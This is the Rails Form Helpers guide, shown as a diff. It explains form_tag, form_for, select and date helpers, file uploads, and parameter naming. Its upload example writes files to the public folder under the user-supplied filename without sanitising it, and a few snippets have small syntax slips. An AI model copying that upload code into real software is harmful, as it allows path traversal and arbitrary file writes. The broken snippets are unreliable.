+Now, you'll notice that the HTML contains something extra: a `div` element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called **cross-site re [...]
+
+NOTE: Throughout this guide, the `div` with the hidden input elements will be excluded from code samples for brevity.
+
+### A Generic Search Form
+
+One of the most basic forms you see on the web is a search form. This form contains:
+
+* a form element with "GET" method,
+* a label for the input,
+* a text input element, and
+* a submit element.
+
+To create this form you will use `form_tag`, `label_tag`, `text_field_tag`, and `submit_tag`, respectively. Like this:
+
+```erb
+<%= form_tag("/search", method: "get") do %>
+ <%= label_tag(:q, "Search for:") %>
+ <%= text_field_tag(:q) %>
+ <%= submit_tag("Search") %>
+<% end %>
+```
+
+This will generate the following HTML:
+
+```html
+<form accept-charset="UTF-8" action="/search" method="get">
+ <label for="q">Search for:</label>
+ <input id="q" name="q" type="text" />
+ <input name="commit" type="submit" value="Search" />
+</form>
+```
+
+TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
+
+Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML.
+
+IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
+
+### Multiple Hashes in Form Helper Calls
+
+The `form_tag` helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
+
+As with the `link_to` helper, the path argument doesn't have to be a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to `form_tag` are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this:
+
+```ruby
+form_tag(controller: "people", action: "search", method: "get", class: "nifty_form")
+# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">'
+```
+
+Here, `method` and `class` are appended to the query string of the generated URL because even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect:
+
+```ruby
+form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_form")
+# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">'
+```
+
+### Helpers for Generating Form Elements
+
+Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as `text_field_tag` and `check_box_tag`), generate just a single `<input>` element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the `params` hash in the controller with the value entered by the user f [...]
+
+When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in [chapter 7 of this guide](#understanding-parameter-naming-conventions). For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html).
+
+#### Checkboxes
+
+Checkboxes are form controls that give the user a set of options they can enable or disable:
+
+```erb
+<%= check_box_tag(:pet_dog) %>
+<%= label_tag(:pet_dog, "I own a dog") %>
+<%= check_box_tag(:pet_cat) %>
+<%= label_tag(:pet_cat, "I own a cat") %>
+```
+
+This generates the following:
+
+```html
+<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
+<label for="pet_dog">I own a dog</label>
+<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
+<label for="pet_cat">I own a cat</label>
+```
+
+The first parameter to `check_box_tag`, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in `params`) when the checkbox is checked.
+
+#### Radio Buttons
+
+Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one):
+
+```erb
+<%= radio_button_tag(:age, "child") %>
+<%= label_tag(:age_child, "I am younger than 21") %>
+<%= radio_button_tag(:age, "adult") %>
+<%= label_tag(:age_adult, "I'm over 21") %>
+```
+
+Output:
+
+```html
+<input id="age_child" name="age" type="radio" value="child" />
+<label for="age_child">I am younger than 21</label>
+<input id="age_adult" name="age" type="radio" value="adult" />
+<label for="age_adult">I'm over 21</label>
+```
+
+As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and `params[:age]` will contain either "child" or "adult".
+
+NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and,
+by expanding the clickable region,
+make it easier for users to click the inputs.
+
+### Other Helpers of Interest
+
+Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields:
+
+```erb
+<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
+<%= password_field_tag(:password) %>
+<%= hidden_field_tag(:parent_id, "5") %>
+<%= search_field(:user, :name) %>
+<%= telephone_field(:user, :phone) %>
+<%= date_field(:user, :born_on) %>
+<%= datetime_field(:user, :meeting_time) %>
+<%= datetime_local_field(:user, :graduation_day) %>
+<%= month_field(:user, :birthday_month) %>
+<%= week_field(:user, :birthday_week) %>
+<%= url_field(:user, :homepage) %>
+<%= email_field(:user, :address) %>
+<%= color_field(:user, :favorite_color) %>
+<%= time_field(:task, :started_at) %>
+```
+
+Output:
+
+```html
+<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
+<input id="password" name="password" type="password" />
+<input id="parent_id" name="parent_id" type="hidden" value="5" />
+<input id="user_name" name="user[name]" type="search" />
+<input id="user_phone" name="user[phone]" type="tel" />
+<input id="user_born_on" name="user[born_on]" type="date" />
+<input id="user_meeting_time" name="user[meeting_time]" type="datetime" />
+<input id="user_graduation_day" name="user[graduation_day]" type="datetime-local" />
+<input id="user_birthday_month" name="user[birthday_month]" type="month" />
+<input id="user_birthday_week" name="user[birthday_week]" type="week" />
+<input id="user_homepage" name="user[homepage]" type="url" />
+<input id="user_address" name="user[address]" type="email" />
+<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
+<input id="task_started_at" name="task[started_at]" type="time" />
+```
+
+Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
+
+IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are [Modernizr](http://www.modern [...]
+
+TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging).
+
+Dealing with Model Objects
+--------------------------
+
+### Model Object Helpers
+
+A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the _tag suffix, for example `text_field`, `text_area`.
+
+For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing:
+
+```erb
+<%= text_field(:person, :name) %>
+```
+
+will produce output similar to
+
+```erb
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+```
+
+Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy.
+
+WARNING: You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object.
+
+Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations](./active_record_validations.html#displaying-validation-errors-in-views) guide.
+
+### Binding a Form to an Object
+
+While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does.
+
+Assume we have a controller for dealing with articles `app/controllers/articles_controller.rb`:
+
+```ruby
+def new
+ @article = Article.new
+end
+```
+
+The corresponding view `app/views/articles/new.html.erb` using `form_for` looks like this:
+
+```erb
+<%= form_for @article, url: {action: "create"}, html: {class: "nifty_form"} do |f| %>
+ <%= f.text_field :title %>
+ <%= f.text_area :body, size: "60x12" %>
+ <%= f.submit "Create" %>
+<% end %>
+```
+
+There are a few things to note here:
+
+* `@article` is the actual object being edited.
+* There is a single hash of options. Routing options are passed in the `:url` hash, HTML options are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
+* The `form_for` method yields a **form builder** object (the `f` variable).
+* Methods to create form controls are called **on** the form builder object `f`
+
+The resulting HTML is:
+
+```html
+<form accept-charset="UTF-8" action="/articles/create" method="post" class="nifty_form">
+ <input id="article_title" name="article[title]" type="text" />
+ <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
+ <input name="commit" type="submit" value="Create" />
+</form>
+```
+
+The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the parameter_names section.
+
+The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
+
+You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
+
+```erb
+<%= form_for @person, url: {action: "create"} do |person_form| %>
+ <%= person_form.text_field :name %>
+ <%= fields_for @person.contact_detail do |contact_details_form| %>
+ <%= contact_details_form.text_field :phone_number %>
+ <% end %>
+<% end %>
+```
+
+which produces the following output:
+
+```html
+<form accept-charset="UTF-8" action="/people/create" class="new_person" id="new_person" method="post">
+ <input id="person_name" name="person[name]" type="text" />
+ <input id="contact_detail_phone_number" name="contact_detail[phone_number]" type="text" />
+</form>
+```
+
+The object yielded by `fields_for` is a form builder like the one yielded by `form_for` (in fact `form_for` calls `fields_for` internally).
+
+### Relying on Record Identification
+
+The Article model is directly available to users of the application, so — following the best practices for developing with Rails — you should declare it **a resource**:
+
+```ruby
+resources :articles
+```
+
+TIP: Declaring a resource has a number of side-affects. See [Rails Routing From the Outside In](routing.html#resource-routing-the-rails-default) for more information on setting up and using resources.
+
+When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on **record identification**. In short, you can just pass the model instance and have Rails figure out model name and the rest:
+
+```ruby
+## Creating a new article
+# long-style:
+form_for(@article, url: articles_path)
+# same thing, short-style (record identification gets used):
+form_for(@article)
+
+## Editing an existing article
+# long-style:
+form_for(@article, url: article_path(@article), html: {method: "patch"})
+# short-style:
+form_for(@article)
+```
+
+Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to and the name based on the class of the object.
+
+Rails will also automatically set the `class` and `id` of the form appropriately: a form creating an article would have `id` and `class` `new_article`. If you were editing the article with id 23, the `class` would be set to `edit_article` and the id to `edit_article_23`. These attributes will be omitted for brevity in the rest of this guide.
+
+WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url`, and `:method` explicitly.
+
+#### Dealing with Namespaces
+
+If you have created namespaced routes, `form_for` has a nifty shorthand for that too. If your application has an admin namespace then
+
+```ruby
+form_for [:admin, @article]
+```
+
+will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
+
+```ruby
+form_for [:admin, :management, @article]
+```
+
+For more information on Rails' routing system and the associated conventions, please see the [routing guide](routing.html).
+
+
+### How do forms with PATCH, PUT, or DELETE methods work?
+
+The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
+
+Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"`, which is set to reflect the desired method:
+
+```ruby
+form_tag(search_path, method: "patch")
+```
+
+output:
+
+```html
+<form accept-charset="UTF-8" action="/search" method="post">
+ <div style="margin:0;padding:0">
+ <input name="_method" type="hidden" value="patch" />
+ <input name="utf8" type="hidden" value="✓" />
+ <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+ </div>
+ ...
+```
+
+When parsing POSTed data, Rails will take into account the special `_method` parameter and acts as if the HTTP method was the one specified inside it ("PATCH" in this example).
+
+Making Select Boxes with Ease
+-----------------------------
+
+Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
+
+Here is what the markup might look like:
+
+```html
+<select name="city_id" id="city_id">
+ <option value="1">Lisbon</option>
+ <option value="2">Madrid</option>
+ ...
+ <option value="12">Berlin</option>
+</select>
+```
+
+Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.
+
+### The Select and Option Tags
+
+The most generic helper is `select_tag`, which — as the name implies — simply generates the `SELECT` tag that encapsulates an options string:
+
+```erb
+<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
+```
+
+This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the `options_for_select` helper:
+
+```html+erb
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
+
+output:
+
+<option value="1">Lisbon</option>
+<option value="2">Madrid</option>
+...
+```
+
+The first argument to `options_for_select` is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
+
+Knowing this, you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup:
+
+```erb
+<%= select_tag(:city_id, options_for_select(...)) %>
+```
+
+`options_for_select` allows you to pre-select an option by passing its value.
+
+```html+erb
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
+
+output:
+
+<option value="1">Lisbon</option>
+<option value="2" selected="selected">Madrid</option>
+...
+```
+
+Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option.
+
+TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` — you must pass 2. Be aware of values extracted from the `params` hash as they are all strings.
+
+WARNING: when `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true.
+
+You can add arbitrary attributes to the options using hashes:
+
+```html+erb
+<%= options_for_select([['Lisbon', 1, {'data-size' => '2.8 million'}], ['Madrid', 2, {'data-size' => '3.2 million'}]], 2) %>
+
+output:
+
+<option value="1" data-size="2.8 million">Lisbon</option>
+<option value="2" selected="selected" data-size="3.2 million">Madrid</option>
+...
+```
+
+### Select Boxes for Dealing with Models
+
+In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the `_tag` suffix from `select_tag`:
+
+```ruby
+# controller:
+ at person = Person.new(city_id: 2)
+```
+
+```erb
+# view:
+<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
+```
+
+Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one — Rails will do this for you by reading from the `@person.city_id` attribute.
+
+As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be:
+
+```erb
+# select on a form builder
+<%= f.select(:city_id, ...) %>
+```
+
+WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of ` ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) ` when you pass the `params` hash to `Person.new` or `update`. A [...]
+
+### Option Tags from a Collection of Arbitrary Objects
+
+Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
+
+```erb
+<% cities_array = City.all.map { |city| [city.name, city.id] } %>
+<%= options_for_select(cities_array) %>
+```
+
+This is a perfectly valid solution, but Rails provides a less verbose alternative: `options_from_collection_for_select`. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option **value** and **text** from, respectively:
+
+```erb
+<%= options_from_collection_for_select(City.all, :id, :name) %>
+```
+
+As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with `select_tag`, just as you would with `options_for_select`. When working with model objects, just as `select` combines `select_tag` and `options_for_select`, `collection_select` combines `select_tag` with `options_from_collection_for_select`.
+
+```erb
+<%= collection_select(:person, :city_id, City.all, :id, :name) %>
+```
+
+To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`.
+
+NOTE: Pairs passed to `options_for_select` should have the name first and the id second, however with `options_from_collection_for_select` the first argument is the value method and the second the text method.
+
+### Time Zone and Country Select
+
+To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this:
+
+```erb
+<%= time_zone_select(:person, :time_zone) %>
+```
+
+There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
+
+Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/stefanpenner/country_select). When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
+
+Using Date and Time Form Helpers
+--------------------------------
+
+You can choose not to use the form helpers generating HTML5 date and time input fields and use the alternative date and time helpers. These date and time helpers differ from all the other form helpers in two important respects:
+
+* Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time.
+* Other helpers use the `_tag` suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select_date`, `select_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers.
+
+Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
+
+### Barebones Helpers
+
+The `select_*` family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
+
+```erb
+<%= select_date Date.today, prefix: :start_date %>
+```
+
+outputs (with actual option values omitted for brevity)
+
+```html
+<select id="start_date_year" name="start_date[year]"> ... </select>
+<select id="start_date_month" name="start_date[month]"> ... </select>
+<select id="start_date_day" name="start_date[day]"> ... </select>
+```
+
+The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
+
+```ruby
+Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
+```
+
+The `:prefix` option is the key used to retrieve the hash of date components from the `params` hash. Here it was set to `start_date`, if omitted it will default to `date`.
+
+### Model Object Helpers
+
+`select_date` does not work well with forms that update or create Active Record objects as Active Record expects each element of the `params` hash to correspond to one attribute.
+The model object helpers for dates and times submit parameters with special names; when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
+
+```erb
+<%= date_select :person, :birth_date %>
+```
+
+outputs (with actual option values omitted for brevity)
+
+```html
+<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
+<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
+<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
+```
+
+which results in a `params` hash like
+
+```ruby
+{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
+```
+
+When this is passed to `Person.new` (or `update`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`.
+
+### Common Options
+
+Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html).
+
+As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in other cases, such as a search form which filters results by date.
+
+NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
+
+### Individual Components
+
+Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_n [...]
+
+The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example
+
+```erb
+<%= select_year(2009) %>
+<%= select_year(Time.now) %>
+```
+
+will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by `params[:date][:year]`.
+
+Uploading Files
+---------------
+
+A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding **MUST** be set to "multipart/form-data". If you use `form_for`, this is done automatically. If you use `form_tag`, you must set it yourself, as per the following example.
+
+The following two forms both upload a file.
+
+```erb
+<%= form_tag({action: :upload}, multipart: true) do %>
+ <%= file_field_tag 'picture' %>
+<% end %>
+
+<%= form_for @person do |f| %>
+ <%= f.file_field :picture %>
+<% end %>
+```
+
+Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`.
+
+### What Gets Uploaded
+
+The object in the `params` hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same n [...]
+
+```ruby
+def upload
+ uploaded_io = params[:person][:picture]
+ File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
+ file.write(uploaded_io.read)
+ end
+end
+```
+
+Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](http://www.thoughtbot.com/projects/paperclip).
+
+NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
+
+### Dealing with Ajax
+
+Unlike other forms making an asynchronous file upload form is not as simple as providing `form_for` with `remote: true`. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
+
+Customizing Form Builders
+-------------------------
+
+As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way, you can also subclass FormBuilder and add the helpers there. For example
+
+```erb
+<%= form_for @person do |f| %>
+ <%= text_field_with_label f, :first_name %>
+<% end %>
+```
+
+can be replaced with
+
+```erb
+<%= form_for @person, builder: LabellingFormBuilder do |f| %>
+ <%= f.text_field :first_name %>
+<% end %>
+```
+
+by defining a LabellingFormBuilder class similar to the following:
+
+```ruby
+class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+ def text_field(attribute, options={})
+ label(attribute) + super
+ end
+end
+```
+
+If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `builder: LabellingFormBuilder` option.
+
+The form builder used also determines what happens when you do
+
+```erb
+<%= render partial: f %>
+```
+
+If `f` is an instance of FormBuilder then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the `labelling_form` partial would be rendered instead.
+
+Understanding Parameter Naming Conventions
+------------------------------------------
+
+As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example in a standard `create`
+action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on.
+
+Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
+
+TIP: You may find you can try out examples in this section faster by using the console to directly invoke Racks' parameter parser. For example,
+
+```ruby
+Rack::Utils.parse_query "name=fred&phone=0123456789"
+# => {"name"=>"fred", "phone"=>"0123456789"}
+```
+
+### Basic Structures
+
+The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example if a form contains
+
+```html
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+```
+
+the `params` hash will contain
+
+```erb
+{'person' => {'name' => 'Henry'}}
+```
+
+and `params[:person][:name]` will retrieve the submitted value in the controller.
+
+Hashes can be nested as many levels as required, for example
+
+```html
+<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
+```
+
+will result in the `params` hash being
+
+```ruby
+{'person' => {'address' => {'city' => 'New York'}}}
+```
+
+Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:
+
+```html
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+```
+
+This would result in `params[:person][:phone_number]` being an array.
+
+### Combining Them
+
+We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
+
+```html
+<input name="addresses[][line1]" type="text"/>
+<input name="addresses[][line2]" type="text"/>
+<input name="addresses[][city]" type="text"/>
+```
+
+This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
+
+There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.
+
+WARNING: Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working wi [...]
+
+### Using Form Helpers
+
+The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_for` and `fields_for` and the `:index` option that helpers take.
+
+You might want to render a form with a set of edit fields for each of a person's addresses. For example:
+
+```erb
+<%= form_for @person do |person_form| %>
+ <%= person_form.text_field :name %>
+ <% @person.addresses.each do |address| %>
+ <%= person_form.fields_for address, index: address do |address_form|%>
+ <%= address_form.text_field :city %>
+ <% end %>
+ <% end %>
+<% end %>
+```
+
+Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:
+
+```html
+<form accept-charset="UTF-8" action="/people/1" class="edit_person" id="edit_person_1" method="post">
+ <input id="person_name" name="person[name]" type="text" />
+ <input id="person_address_23_city" name="person[address][23][city]" type="text" />
+ <input id="person_address_45_city" name="person[address][45][city]" type="text" />
+</form>
+```
+
+This will result in a `params` hash that looks like
+
+```ruby
+{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
+```
+
+Rails knows that all these inputs should be part of the person hash because you called `fields_for` on the first form builder. By specifying an `:index` option you're telling Rails that instead of naming the inputs `person[address][city]` it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call `to_param` on it, which by default returns the database id. This is often useful as it is then easy to loca [...]
+
+To create more intricate nestings, you can specify the first part of the input name (`person[address]` in the previous example) explicitly, for example
+
+```erb
+<%= fields_for 'person[address][primary]', address, index: address do |address_form| %>
+ <%= address_form.text_field :city %>
+<% end %>
+```
+
+will create inputs like
+
+```html
+<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="bologna" />
+```
+
+As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_for`, the index value and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
+
+As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifying `index: address` so
+
+```erb
+<%= fields_for 'person[address][primary][]', address do |address_form| %>
+ <%= address_form.text_field :city %>
+<% end %>
+```
+
+produces exactly the same output as the previous example.
+
+Forms to external resources
+---------------------------
+
+If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an `authenticity_token` for this resource. You can do it by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options:
+
+```erb
+<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token') do %>
+ Form contents
+<% end %>
+```
+
+Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an `authenticity_token` hidden field at all. For doing this just pass `false` to the `:authenticity_token` option:
+
+```erb
+<%= form_tag 'http://farfar.away/form', authenticity_token: false) do %>
+ Form contents
+<% end %>
+```
+
